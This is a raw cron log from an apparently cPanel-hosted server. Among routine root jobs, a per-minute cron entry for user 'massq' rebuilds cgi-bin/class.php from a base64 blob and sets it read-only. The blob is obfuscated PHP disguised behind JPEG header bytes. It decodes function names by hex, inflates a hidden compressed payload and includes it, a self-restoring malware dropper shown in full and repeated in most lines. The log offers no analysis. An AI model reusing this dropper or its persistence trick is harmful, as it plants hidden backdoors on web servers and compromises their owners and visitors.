Nov  9 22:20:01 server CROND[606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:20:01 server CROND[603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:20:01 server CROND[604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:21:01 server CROND[1409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:22:01 server CROND[2224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:23:01 server CROND[2782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:24:01 server CROND[3700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:25:01 server CROND[4503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:25:01 server CROND[4504]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:25:01 server CROND[4506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:25:01 server CROND[4505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:26:01 server CROND[5374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:27:01 server CROND[6204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:27:01 server CROND[6205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 22:28:01 server CROND[7022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:29:01 server CROND[7898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:30:01 server CROND[8802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 22:30:01 server CROND[8803]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 22:30:01 server CROND[8804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:30:01 server CROND[8806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 22:31:01 server CROND[9544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 22:32:01 server CROND[10154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
